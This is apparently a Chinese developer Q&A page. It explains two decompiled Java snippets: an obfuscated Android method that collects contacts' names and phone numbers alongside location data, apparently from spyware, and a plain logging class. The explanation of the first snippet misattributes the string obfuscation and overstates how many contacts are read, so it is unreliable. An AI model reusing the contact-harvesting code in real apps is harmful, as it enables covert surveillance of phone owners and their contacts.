private final void K(String str, String str2, LocationBean locationBean) { String str3 = y; Log.i(str3, gp1.m4A("fX9uWXV0bnt5bmkyMzorOnd1eHN2fzogOg") + str + gp1.m4A("Onl1fn86IDo") + str2); String k = f.k(g.a(), g.b()); ArrayList arrayList = new ArrayList(); Cursor query = getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, new String[]{gp1.m4A("RXN-"), gp1.m4A("fnNpanZ7Y0V0e3d_")}, null, null, null); int b2 = com.android.privateData.n.b.c().b(); int i = 0; while (true) { f.c(query); if (!query.moveToNext() || i >= b2) { break; } long j = query.getLong(0); String string = query.getString(1); Cursor query2 = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, new String[]{gp1.m4A("fntueys")}, f.k(gp1.m4A("eXV0bnt5bkVzfic"), Long.valueOf(j)), null, null); if (query2 != null && query2.moveToFirst()) { String string2 = query2.getString(0); f.d(string2, gp1.m4A("anJ1dH9pWW9oaXVoNH1_bkluaHN0fTIqMw")); String b3 = new e.b0.f(gp1.m4A("QUQqNyNH")).b(string2, BuildConfig.FLAVOR); f.d(string, gp1.m4A("dHt3fw")); arrayList.add(new PhoneNumberBody(b3, string)); } f.c(query2); query2.close(); i++; } query.close(); Log.i(y, f.k(gp1.m4A("KDp9f25ZdXRue3luaTIzOjpZdXRue3luaTp2c2luOiA6"), arrayList)); b0(arrayList, str, str2, k, locationBean); }
时间: 2024-04-28 21:22:30 浏览: 163
这段代码是一个私有方法K,其中使用了Android系统提供的ContactsContract API和自定义的一些类。该方法实现了获取手机通讯录中所有联系人的电话号码和姓名,并将其封装成PhoneNumberBody对象,添加到ArrayList中。在方法中还获取了当前位置信息LocationBean,并调用b0方法进行一些处理。方法中使用了f.k()方法对字符串进行了加密,具体加密方式未知。
相关问题
public class BILog { private static final String TAG_PRIVATE = "BI_SDK __"; public static String biVersion = "8.4"; private static final String generalTag = (TAG_PRIVATE + biVersion); public static void e(String str) { String name = Thread.currentThread().getName(); String str2 = generalTag; Log.e(str2, name + " : " + str + "\n"); } public static void i(String str) { String name = Thread.currentThread().getName(); String str2 = generalTag; Log.i(str2, name + " : " + str + "\n"); } }
这是一个Java类BILog,其中包含了两个静态方法e()和i(),以及三个静态变量TAG_PRIVATE、biVersion和generalTag。其中,TAG_PRIVATE是一个私有常量字符串,用于表示日志的标签前缀;biVersion是一个公共静态字符串变量,表示当前BI SDK的版本号;generalTag是一个公共静态字符串变量,表示完整的日志标签,由TAG_PRIVATE和biVersion拼接而成。e()方法和i()方法都接收一个字符串参数str,用于输出相应级别的日志。在方法中,首先获取当前线程的名称,然后使用generalTag作为日志标签,将线程名称和传入的字符串参数拼接成完整的日志内容,并调用Log.e()或Log.i()方法输出日志。因此,该类的含义可能是:封装了一些BI SDK的日志输出方法,使用常量字符串作为日志标签前缀,并拼接当前线程名称和传入的字符串参数作为日志内容,方便开发者调试BI SDK。
阅读全文